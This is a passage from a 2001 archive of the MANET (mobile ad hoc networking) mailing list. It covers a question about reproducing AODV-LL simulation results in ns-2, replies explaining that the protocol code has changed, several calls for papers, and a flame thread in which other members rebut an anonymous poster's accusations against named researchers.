> #define MY_ROUTE_TIMEOUT 600 > #define ACTIVE_ROUTE_TIMEOUT 300 > #define REV_ROUTE_LIFE 3 > #define BCAST_ID_SAVE 3 > > #define NETWORK_DIAMETER 50 > > #define NODE_TRAVERSAL_TIME 0.04 > > #define HELLO_INTERVAL 1 > #define ALLOWED_HELLO_LOSS 3 > #define BAD_LINK_LIFETIME 3 > > #define RREP_WAIT_TIME 6.0 > #define LOCAL_REPAIR_WAIT_TIME 0.15 > #define MAX_RREQ_TIMEOUT 10.0 > > #define TTL_START 1 > #define TTL_THRESHOLD 7 > #define TTL_INCREMENT 2 > > #define MaxHelloInterval ( 1.25 * HELLO_INTERVAL ) > #define MinHelloInterval ( 0.75 * HELLO_INTERVAL ) > > But after a few runs using the same scenarios files and > movement pattern > files as used for DSDV-SQ and DSR, at 20m/s max. speed, 0s > pause time and 20 > CBR sources, the AODV_LL packet delivery ratio value is > around 97.2%, BUT > the routing overhead value insists to be around 55489.5, > which is an order > of magnitude less than the value of over 120,000 presented > in the paper!!! > Even after I changed MY_ROUTE_TIMEOUT to 60 and > ACTIVE_ROUTE_TIMEOUT to 50, > the outcome remain the same! Could someone please give me > some help? How > should I set those parameters to produce the same settings as in the > MobiCom'98 paper? > Your help is sincerely appreciated! > > Wang Qiang > > From owner-manet@itd.nrl.navy.mil Tue Jan 9 21:28:23 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA24589 for ; Tue, 9 Jan 2001 21:28:22 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA08785 for manet-outgoing; Tue, 9 Jan 2001 19:52:07 -0500 (EST) Received: from web9104.mail.yahoo.com (web9104.mail.yahoo.com [216.136.128.241]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id TAA08780 for ; Tue, 9 Jan 2001 19:52:05 -0500 (EST) Message-ID: <20010110005206.82513.qmail@web9104.mail.yahoo.com> Received: from [192.11.189.113] by web9104.mail.yahoo.com; Tue, 09 Jan 2001 16:52:06 PST Date: Tue, 9 Jan 2001 16:52:06 -0800 (PST) From: "Rajan, Hridesh" Reply-To: hridesh@ieee.org Subject: Re: Network Simulator To: asobeih@ieee.org Cc: manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello Ahmed, You can use monarch which is extension of ns for wireless network you can get the source code from http://www.monarch.cs.cmu.edu/cmu-ns.html The extension has all the popular protocols inbuilt and it supports WaveLAN-I CSMA/CA MAC as well. regards, Hridesh ===== Hridesh Rajan Member of Technical Staff, Office: 91 80 527 1771/72 X 2582 Lucent Technologies, Fax: 91 80 527 1777 Golf View Campus, Email:hridesh@lucent.com Wind tunnel Road, hrideshrajan@yahoo.com Banglore-17, India. URL:http://hridesh.homepage.com/ __________________________________________________ Do You Yahoo!? Yahoo! Photos - Share your holiday photos online! http://photos.yahoo.com/ From owner-manet@itd.nrl.navy.mil Wed Jan 10 08:42:42 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA16240 for ; Wed, 10 Jan 2001 08:42:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA16813 for manet-outgoing; Wed, 10 Jan 2001 06:46:27 -0500 (EST) Received: from smtp4.cluster.oleane.net (smtp4.cluster.oleane.net [195.25.12.62]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA16808 for ; Wed, 10 Jan 2001 06:46:25 -0500 (EST) Received: from oleane (dyn-1-1-059.Vin.dialup.oleane.fr [195.25.4.59]) by smtp4.cluster.oleane.net with SMTP id f0ABkKF78424 for ; Wed, 10 Jan 2001 12:46:25 +0100 (CET) Message-ID: <027d01c07afb$27c86b80$8001a8c0@oleane.com> From: "Peter Lewis" To: Subject: MPLS World, February 6-9, Paris Date: Wed, 10 Jan 2001 12:47:44 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_027A_01C07B03.86E5CF60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_027A_01C07B03.86E5CF60 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable =20 MPLS World, February 6-9, Paris.=20 =20 http://www.upperside.fr/congress/congress.htm =20 With the challenges and uncertainties engendered by the development of = the MPLS architecture, the MPLS World Conference is, in essence, an open = platform for debate on the future of telecommunications networks.=20 Looking Farther Ahead=20 MPLS World is preoccupied with future developments, like using MPLS in = the access network and in the LAN. MPLambdaS, MPLS/mobility convergence = are addressed in papers never before given. MPLS is a unique occasion = for participants to unveil their work and expose new ideas.=20 =20 The exhibition =20 Already 20 exhibitors for this very first MPLS exhibition. Upper Side = will fullfill his objectives. Vendors shouldn't miss the opportunity: http://www.upperside.fr/congress/exhi.htm ------=_NextPart_000_027A_01C07B03.86E5CF60 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
 
MPLS World, February 6-9, Paris.=20
 
http://www.uppersi= de.fr/congress/congress.htm
 
With the=20 challenges and uncertainties engendered by the development of the MPLS=20 architecture, the MPLS World Conference is, in essence, an open platform = for=20 debate on the future of telecommunications networks.=20

Looking=20 Farther Ahead

MPLS World is preoccupied with future = developments,=20 like using MPLS in the access network and in the LAN. MPLambdaS, = MPLS/mobility=20 convergence are addressed in papers never before given. MPLS is a unique = occasion for participants to unveil their work and expose new ideas.=20
 
The=20 exhibition
 
Already 20=20 exhibitors for this very first MPLS exhibition. Upper Side will fullfill = his=20 objectives. Vendors shouldn't miss the opportunity:
http://www.upperside.f= r/congress/exhi.htm
 
 
------=_NextPart_000_027A_01C07B03.86E5CF60-- From owner-manet@itd.nrl.navy.mil Thu Jan 11 00:28:58 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA13750 for ; Thu, 11 Jan 2001 00:28:57 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id WAA11590 for manet-outgoing; Wed, 10 Jan 2001 22:58:48 -0500 (EST) Received: from spaceghost.fuse.net (spaceghost.fuse.net [216.68.1.121]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id WAA11585 for ; Wed, 10 Jan 2001 22:58:46 -0500 (EST) Received: from ffsli ([216.196.163.82]) by spaceghost.fuse.net (InterMail vK.4.02.00.00 201-232-116 license 55099144ff2ca28e37c1a3433615ef97) with ESMTP id <20010111040054.ZVDB17981.spaceghost@ffsli> for ; Wed, 10 Jan 2001 23:00:54 -0500 From: "Samir R. Das" To: Subject: FW: MobiCom'98 Paper results Date: Wed, 10 Jan 2001 22:58:57 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Message-Flag: Follow up Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Folks, After re-reading my mail, it occured to me that my message could be interpreted as suggesting that the original CMU implementation of AODV was somehow deficient or inaccurate. I didn't mean to suggest that at all. The AODV code in the current ns-2 distributions performs better than the original CMU code in many cases because the current code reflects an improved version of the protocol. As many of you are aware, the protocol has evolved (and improved) over the last several Internet Drafts. Sorry for any confusion my post might have caused. Samir >Hello Wang, > >The simulation model of AODV-LL that you are using is not the same as >the one used by the CMU group for their MobiCom98 work. The model >implementation has been improved much over the implementation they >used. Also the protocol specs changed and reflect a later version of >the protocol. > >So I am not surprised that you are seeing much less routing overhead. >This probably is due to a better pacing of route discoveries and use >of expanding ring search. > >Samir Das > > >> -----Original Message----- >> From: owner-manet@itd.nrl.navy.mil >> [mailto:owner-manet@itd.nrl.navy.mil]On Behalf Of Wang Qiang >> Sent: Tuesday, January 09, 2001 9:28 AM >> To: manet@itd.nrl.navy.mil >> Subject: MobiCom'98 Paper results >> >> >> Hello ns users, >> >> I have a question regarding the simulation results >> presented in CMU's >> MobiCom'98 paper "A performance comparison of multi-hop >> wireless ad hoc >> network routing protocols". I'm trying run the simulation >> for DSDV-SQ, DSR, >> AODV-LL and TORA as mentioned in the paper and see if the >> results could be >> reproduced. >> I'm using ns-allinone-2.1b7 package installed on RedHat >> Linux 7.0. So far >> the results for DSDV-SQ and DSR are close to those >> presented in the paper. >> However, I CAN'T get the same output for AODV-LL protocol! >> I set the >> following constants as listed in the paper: >> >> #define AODV_LINK_LAYER_DETECTION >> >> #define MY_ROUTE_TIMEOUT 600 >> #define ACTIVE_ROUTE_TIMEOUT 300 >> #define REV_ROUTE_LIFE 3 >> #define BCAST_ID_SAVE 3 >> >> #define NETWORK_DIAMETER 50 >> >> #define NODE_TRAVERSAL_TIME 0.04 >> >> #define HELLO_INTERVAL 1 >> #define ALLOWED_HELLO_LOSS 3 >> #define BAD_LINK_LIFETIME 3 >> >> #define RREP_WAIT_TIME 6.0 >> #define LOCAL_REPAIR_WAIT_TIME 0.15 >> #define MAX_RREQ_TIMEOUT 10.0 >> >> #define TTL_START 1 >> #define TTL_THRESHOLD 7 >> #define TTL_INCREMENT 2 >> >> #define MaxHelloInterval ( 1.25 * HELLO_INTERVAL ) >> #define MinHelloInterval ( 0.75 * HELLO_INTERVAL ) >> >> But after a few runs using the same scenarios files and >> movement pattern >> files as used for DSDV-SQ and DSR, at 20m/s max. speed, 0s >> pause time and 20 >> CBR sources, the AODV_LL packet delivery ratio value is >> around 97.2%, BUT >> the routing overhead value insists to be around 55489.5, >> which is an order >> of magnitude less than the value of over 120,000 presented >> in the paper!!! >> Even after I changed MY_ROUTE_TIMEOUT to 60 and >> ACTIVE_ROUTE_TIMEOUT to 50, >> the outcome remain the same! Could someone please give me >> some help? How >> should I set those parameters to produce the same settings as in the >> MobiCom'98 paper? >> Your help is sincerely appreciated! >> >> Wang Qiang >> >> From owner-manet@itd.nrl.navy.mil Thu Jan 11 07:16:34 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA28923 for ; Thu, 11 Jan 2001 07:16:34 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA14633 for manet-outgoing; Thu, 11 Jan 2001 03:57:53 -0500 (EST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id DAA14626 for ; Thu, 11 Jan 2001 03:57:51 -0500 (EST) Received: from lt.eth.ericsson.se (lt.eth.ericsson.se [164.48.158.205]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f0B8vlC18721 for ; Thu, 11 Jan 2001 09:57:47 +0100 (MET) Received: from lt.eth.ericsson.se by lt.eth.ericsson.se (8.8.8+Sun/SMI-SVR4) id JAA21077; Thu, 11 Jan 2001 09:57:45 +0100 (MET) Message-ID: <3A5D75AD.F05886A3@lt.eth.ericsson.se> Date: Thu, 11 Jan 2001 09:58:21 +0100 From: Andras Valko X-Mailer: Mozilla 4.51 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: manet@itd.nrl.navy.mil Subject: CFP : RSRCP Journal - Mobility and Internet Content-Type: text/plain; charset=iso-8859-1 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by itd.nrl.navy.mil id DAA14633 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA28923 [Apologies if you receive multiple copies.] CALL for PAPERS SPECIAL ISSUE MOBILITY AND INTERNET of RSRCP Journal http://www-r2.u-strasbg.fr/rsrcp/mintcfp.html The RSRCP journal, which is now specialized on thematic issues on Network and Distributed System is pleased to announce a special issue on "Mobility and Internet". This special issue is sponsored by IEEE Distributed Systems and the French IEEE Computer Chapter. Wireless mobile access to the Internet will add new dimensions to the way we access information and communicate. Currently, several network protocols are being studied to maintain communication between a mobile host and its correspondents during the mobile host's movements. This special issue is devoted to the presentation of recent research on network protocols and services for mobile hosts and wireless communication on the Internet. We solicit high quality papers reporting original work in theoretical or experimental research. Topics of interest include, but are not limited to the following : - Ad hoc networks - Cellular IP networks - Distributed system aspects of mobile systems - Handoffs in IP networks - Header compression in wireless networks - Hierarchical mobility - IP-based third generation mobile and wireless networks - Micro-mobility architectures and protocols - Multicast communications for mobile hosts - Mobility and IPv6 - Mobile management - Network protocols for mobile nodes - QoS in a wireless/mobile environment - Security and authentication - Service location in wireless environnement - Wireless LAN Important dates: 1. Submission deadline: June 30, 2001; 2. Notifications to the authors: September, 30, 2001; 3. Publication : December 2001; Submissions: Contributions should follow the instructions and the format of the journal edited by Hermes. (see http://www-r2.u-strasbg.fr/rsrcp/authorsguidelines.pdf) Contributions should be original ones and should not be longer than 25 pages. Submissions should be forwarded to the Guest Editors (rsrcp@clarinet.u-strasbg.fr - PS or PDF format, compressed). Guest Editors : Thomas Noel Andras Valko Universite Louis Pasteur - LSIIT Ericsson Research Pole API - Boulevard Sébastien Brant Traffic Laboratory F- 67400 - Illkirch H-1037 Budapest, Laborc u 1. France Hungary Editorial Board : Scott Corson Francis Dupont Flarion Technologies ENST - Bretagne USA France Philip Eardley Andras Farago British Telecom University of Texas - Dallas UK USA Phil Neumiller Thomas Noel 3Com LSIIT USA France Hesham Soliman Tapio Suihko Ericsson VTT Technical Research Center Australia Finland C.K. Toh Michel Trehel Georgia Institute of Technology Universite de Franche-Comte USA France Andras Valko Ericsson Research Hungary -- Andras G. Valko, Ph.D. Ericsson Research tel: +36 1 4377774 fax: +36 1 4377219 From owner-manet@itd.nrl.navy.mil Thu Jan 11 10:55:33 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05208 for ; Thu, 11 Jan 2001 10:55:33 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA17416 for manet-outgoing; Thu, 11 Jan 2001 07:42:49 -0500 (EST) Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA17411 for ; Thu, 11 Jan 2001 07:42:48 -0500 (EST) Received: from verdi.ee.cornell.edu (verdi.ee.cornell.edu [128.84.240.71]) by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id HAA03670; Thu, 11 Jan 2001 07:42:49 -0500 (EST) Date: Thu, 11 Jan 2001 07:42:14 -0500 (EST) From: Zygmunt Haas To: manet@itd.nrl.navy.mil cc: Zygmunt Haas Subject: Session on Ad Hoc Networks @ MILCOM 2001 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Dear All, Myself and Kesh Bakhru from Cubic Defence Systems are organizing a session on Ad Hoc Networks in MILCOM 2001. You can find the MILCOM 2001 CFP at: http://www.milcom.org/2001/frame.htm If you are interested in submiting a paper, please submit an abstract asap and indicate the name of the session: Ad Hoc Networks (Z. Haas, organizer) Best, Zygmunt. ==-=-===== ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Prof. Zygmunt J. Haas tel: +1-607-255-3454 Wireless Networks Laboratory School of Electrical Engineering fax: +1-607-255-9072 Cornell University 323 Frank Rhodes Hall e-mail: haas@ece.cornell.edu Ithaca, NY 14853 U.S.A http://www.ee.cornell.edu/~haas/wnl.html ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- From owner-manet@itd.nrl.navy.mil Fri Jan 12 15:50:10 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22547 for ; Fri, 12 Jan 2001 15:50:09 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id NAA28851 for manet-outgoing; Fri, 12 Jan 2001 13:57:08 -0500 (EST) Received: from mail.zrz.tu-berlin.de (mail.zrz.TU-Berlin.DE [130.149.4.15]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id NAA28820 for ; Fri, 12 Jan 2001 13:56:25 -0500 (EST) Received: from ftsu07.ee.tu-berlin.de ([130.149.49.87] helo=ftmail.ee.tu-berlin.de) by mail.zrz.tu-berlin.de with esmtp (exim-3.21) id 14H9NB-0006vK-00; Fri, 12 Jan 2001 19:56:25 +0100 Received: from fokus.gmd.de (ftat61.ee.TU-Berlin.DE [130.149.49.104]) by ftmail.ee.tu-berlin.de (8.9.3/8.9.3) with ESMTP id TAA10346; Fri, 12 Jan 2001 19:54:43 +0100 Message-ID: <3A5F50B9.1B4F26CD@fokus.gmd.de> Date: Fri, 12 Jan 2001 19:45:13 +0100 From: Adam Wolisz Reply-To: wolisz@ee.tu-berlin.de Organization: TU Berlin und GMD Fokus X-Mailer: Mozilla 4.5 [de] (WinNT; I) X-Accept-Language: de MIME-Version: 1.0 To: inge.gronbak@telenor.com, Inge.Melhus@informatics.sintef.no, hzhang@cs.cmu.edu, Jaakko.Talvitie@elektrobit.fi, Maria.Penedo@trw.com, James.Roberts@cnet.francetelecom.fr, j.bigham@elec.qmw.ac.uk, jboyle@gateway.mitre.org, jeff@trillium.com, jia@gatekeeper.optivision.com, Jingming.LiSalina@swisscom.com, john.myhre@attws.com, John.Zubrzycki@rd.bbc.co.uk, jon.w.inouye@intel.com, Jose-Joaquim.Fernandes@cec.eu.int, joseph@isi.edu, j.pearce@sprint.sprint.com, JRMCCHES@itt.com, Juha.Auer@elektrobit.fi, kassler@informatik.uni-ulm.de, kg@kdt.de, kgold@firstconf.com, krys@cosc.canterbury.ac.nz, larry@kronos.jpl.nasa.gov, laurie.cuthbert@elec.qmw.ac.uk, liny@liny.csie.nctu.edu.tw, ljiljamj@EUnet.yu, llafont@nortel.ca, l.n.tokarchuk@elec.qmw.ac.uk, luca.delluomo@cselt.it, magda@ics.uci.edu, malavazi@cpqd.com.br, manet@itd.nrl.navy.mil, Marco.Annoni@cselt.it, MarcusLeurs@aol.com Subject: Mobile and Wireless Internet: Special Issue of IEEE Personal Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Dear Colleague, please have a look at the call for papers for a the Special Issue of the IEEE Personal Communication Magazine on "Mobile and Wireless Internet: Architectures and Protocols" http://www-tkn.ee.tu-berlin.de/special_issues.html to be published in the IVth Quarter of 2001, Submission deadline June 1st, 2001. We are seriously concerned to limit the number of copies of this call you might obtain, but please excuse possible duplications! Best regards Adam Wolisz From owner-manet@itd.nrl.navy.mil Sat Jan 13 00:41:19 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA02115 for ; Sat, 13 Jan 2001 00:41:19 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id XAA08206 for manet-outgoing; Fri, 12 Jan 2001 23:05:40 -0500 (EST) Received: from web11403.mail.yahoo.com (web11403.mail.yahoo.com [216.136.131.233]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id XAA08201 for ; Fri, 12 Jan 2001 23:05:38 -0500 (EST) Message-ID: <20010113040539.47733.qmail@web11403.mail.yahoo.com> Received: from [199.77.145.57] by web11403.mail.yahoo.com; Fri, 12 Jan 2001 20:05:39 PST Date: Fri, 12 Jan 2001 20:05:39 -0800 (PST) From: Tom Hello Subject: Re: DSR/AODV/& BS Stuff To: Nitin H Vaidya , manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Nitin: I don't think you should implement LAR (which is not a protocol as you claim) with DSR! You clearly exhibit some form of political bias. Is that related to your MobiHOC conference in some way or is that related to your paper acceptance? I realize you publish things related to DSR and AODV - clearly you are trying to gather "favor" from those folks/people. Does that explain how you get your papers published in MOBICOM (and you constantly published there) and your NSF grants too?? Man.. this is bad... ===================================================== --- Tom Hello wrote: > Oh you (nitin)... About LAR/LAM - there are many > flaws > in location based routing. Your original proposal > does not take into account connection/signal > propagation properties, just location which is > wrong. > None of LAR/LAM have been implemented and tested > in real systems. You should do it since you started > it. > > There is too much BS Stuff in this circle. > I recall AODV - where the heck is the distance > vector > being used here?? That was just a twist from the > DSDV > protocol which is a table-driven protocol but > the authors twisted it to change it to on-demand > based. There is just not enough good/properly > designed protocols and too much BS stuff and > politics > too. > > These people need to wake up... > > > --- Nitin H Vaidya wrote: > > > > >> From: Tom Hello > > > > > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 > > 12:43:48 2000 > > >> > > >> Li Li wrote: > > >> > > > >> >In the DSR draft, it says "Although many > > routing > > >> >protocols operate correctly > > >> >only over bi-directional links, DSR can > > successfully > > >> >discover and forward > > >> >packets over paths that contain > > uni-directional > > >> >links." > > >> > > >> I don't believe a single word of it. It was > not > > >> even proven!! The DSR draft constantly copys > > and > > > > I do not recall if they give a formal proof or > not, > > but > > it seemed to me that DSR could work on > > unidirectional links. > > Do you have a counter-example (or a "proof") that > it > > does not work? > > > > ... > > >> Also, why you are enhancing DSR and not doing > > your > > >> own protocol? One need not have a paper that > is > > >> DSR compliant to get one's paper accepted!! > > > > Huh !? > > Enhancing an existing protocol is not necessarily > a > > bad > > thing, be it DSR, AODV, TORA, whatever. > > > > > Happy holidays. > > > > - nitin > > > > . > > hoc/ > > > > Happy holidays. > > > > - nitin > > > > . > > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! Photos - Share your holiday photos online! > http://photos.yahoo.com/ > . > u Yahoo!? > Yahoo! Photos - Share your holiday photos online! > http://photos.yahoo.com/ > . > __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 13 02:02:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA11413 for ; Sat, 13 Jan 2001 02:02:03 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA09165 for manet-outgoing; Sat, 13 Jan 2001 00:37:54 -0500 (EST) Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id AAA09160 for ; Sat, 13 Jan 2001 00:37:52 -0500 (EST) Received: from localhost (dbj@localhost) by cs.rice.edu (8.9.0/8.9.0) with ESMTP id XAA26809; Fri, 12 Jan 2001 23:37:46 -0600 (CST) To: Tom Hello Cc: Nitin H Vaidya , manet@itd.nrl.navy.mil In-Reply-To: Your message of "Fri, 12 Jan 2001 20:05:39 PST" <20010113040539.47733.qmail@web11403.mail.yahoo.com> From: Dave Johnson Reply-To: Dave Johnson Subject: Re: DSR/AODV/& BS Stuff Date: Fri, 12 Jan 2001 23:37:46 -0600 Message-ID: <26808.979364266@cs.rice.edu> Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Tom, I've resisted replying to your earlier messages, but I think its time I joined this discussion. I think your criticism of Nitin's publications and NSF grants is quite unfair. If you have evidence of actual favoritism toward people who base work on DSR or AODV, please share it with us; otherwise, your accusations are unfounded and without merit. In the paritcular case of people basing their work on DSR, let me assure you that (as the leader of the Monarch Project that designed DSR) this adds no special "favor" to the work in my opinion. On the contrary, if anything, I think this raises the bar with me for such work, since I care a lot about the protocol and its future and don't want "bad" work based on top of DSR. LAR, however, I believe is good work, for its stated application and purpose of helping to reduce the overall routing overhead in the environments for which the protocol was designed. Nitin has correctly described the protocol's advantages and limitations. And while I'm writing a message to you, let me go back to an earlier message in which you said "The DSR draft constantly copys and adds methods from other people to be included in theirs, which is ridiculous." Perhaps you could explain what you mean by this. If there are methods that you believe we have copied from other people, please identify them and we will appropriately acknowledge them in future DSR drafts and papers; otherwise, again, your accusations are unfounded and without merit. And further, Tom, perhaps you could give the group a little information aboutl your own background and activities in the area of ad hoc networking. You know all of the other people involved in this discussion -- through our identifiable email addresses and our names and other contact information on the published Internet-Drafts and other papers that you criticize. In contrast, all that you have identified yourself so far with is a free (and easily anonymous) Yahoo email account. Dave >Nitin: I don't think you should implement LAR (which >is not a protocol as you claim) with DSR! You clearly >exhibit some form of political bias. > >Is that related to your MobiHOC conference in some >way or is that related to your paper acceptance? I >realize you publish things related to DSR and AODV - >clearly you are trying to gather "favor" from those >folks/people. > >Does that explain how you get your papers published in > >MOBICOM (and you constantly published there) and >your NSF grants too?? Man.. this is bad... > >===================================================== >--- Tom Hello wrote: >> Oh you (nitin)... About LAR/LAM - there are many >> flaws >> in location based routing. Your original proposal >> does not take into account connection/signal >> propagation properties, just location which is >> wrong. >> None of LAR/LAM have been implemented and tested >> in real systems. You should do it since you started >> it. >> >> There is too much BS Stuff in this circle. >> I recall AODV - where the heck is the distance >> vector >> being used here?? That was just a twist from the >> DSDV >> protocol which is a table-driven protocol but >> the authors twisted it to change it to on-demand >> based. There is just not enough good/properly >> designed protocols and too much BS stuff and >> politics >> too. >> >> These people need to wake up... >> >> >> --- Nitin H Vaidya wrote: >> > >> > >> From: Tom Hello >> >> > >> > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 >> > 12:43:48 2000 >> > >> >> > >> Li Li wrote: >> > >> > >> > >> >In the DSR draft, it says "Although many >> > routing >> > >> >protocols operate correctly >> > >> >only over bi-directional links, DSR can >> > successfully >> > >> >discover and forward >> > >> >packets over paths that contain >> > uni-directional >> > >> >links." >> > >> >> > >> I don't believe a single word of it. It was >> not >> > >> even proven!! The DSR draft constantly copys >> > and >> > >> > I do not recall if they give a formal proof or >> not, >> > but >> > it seemed to me that DSR could work on >> > unidirectional links. >> > Do you have a counter-example (or a "proof") that >> it >> > does not work? >> > >> > ... >> > >> Also, why you are enhancing DSR and not doing >> > your >> > >> own protocol? One need not have a paper that >> is >> > >> DSR compliant to get one's paper accepted!! >> > >> > Huh !? >> > Enhancing an existing protocol is not necessarily >> a >> > bad >> > thing, be it DSR, AODV, TORA, whatever. >> > >> >> > Happy holidays. >> > >> > - nitin >> > >> > . >> > hoc/ >> > >> > Happy holidays. >> > >> > - nitin >> > >> > . >> > >> >> >> __________________________________________________ >> Do You Yahoo!? >> Yahoo! Photos - Share your holiday photos online! >> http://photos.yahoo.com/ >> . >> u Yahoo!? >> Yahoo! Photos - Share your holiday photos online! >> http://photos.yahoo.com/ >> . >> > > >__________________________________________________ >Do You Yahoo!? >Get email at your own domain with Yahoo! Mail. >http://personal.mail.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 13 04:27:44 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA16003 for ; Sat, 13 Jan 2001 04:27:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA10596 for manet-outgoing; Sat, 13 Jan 2001 02:55:15 -0500 (EST) Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id CAA10591 for ; Sat, 13 Jan 2001 02:55:13 -0500 (EST) Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id CAA00787 for ; Sat, 13 Jan 2001 02:55:12 -0500 (EST) Received: from ii0015exch001u.wins.lucent.com (h135-254-248-252.lucent.com [135.254.248.252]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id CAA00778 for ; Sat, 13 Jan 2001 02:55:11 -0500 (EST) Received: by II0015EXCH001U with Internet Mail Service (5.5.2650.21) id ; Sat, 13 Jan 2001 13:25:07 +0530 Message-ID: From: "Rajan, Hridesh (Hridesh)" To: "'TomHello'" Cc: "'manet@itd.nrl.navy.mil'" Subject: Tom's comments Date: Sat, 13 Jan 2001 13:24:51 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello Tom, Let me make this point very clear that your comments on DSR and LAR are unwarranted and biased. You have been constantly criticizing the protocols without presenting any substantial facts supporting your criticism which may suit a urchin but is not a way to behave on a mailing list on which serious discussions are only invited. Another fact that I want to make clear is that you seem to be having some personal grudges against people and not the protocols. Your comments on nitin's work at least suggests that. You have no rights to comment on any research work and grant. If the moderator of this mailing list is listening me I earnestly request him/her to call off this unruly, unsavory and unseemly discussion from this list which I believe is meant only for serious purposes. I request you to stop this indecency. Thank You, Hridesh From owner-manet@itd.nrl.navy.mil Sat Jan 13 12:14:00 2001 Received: from 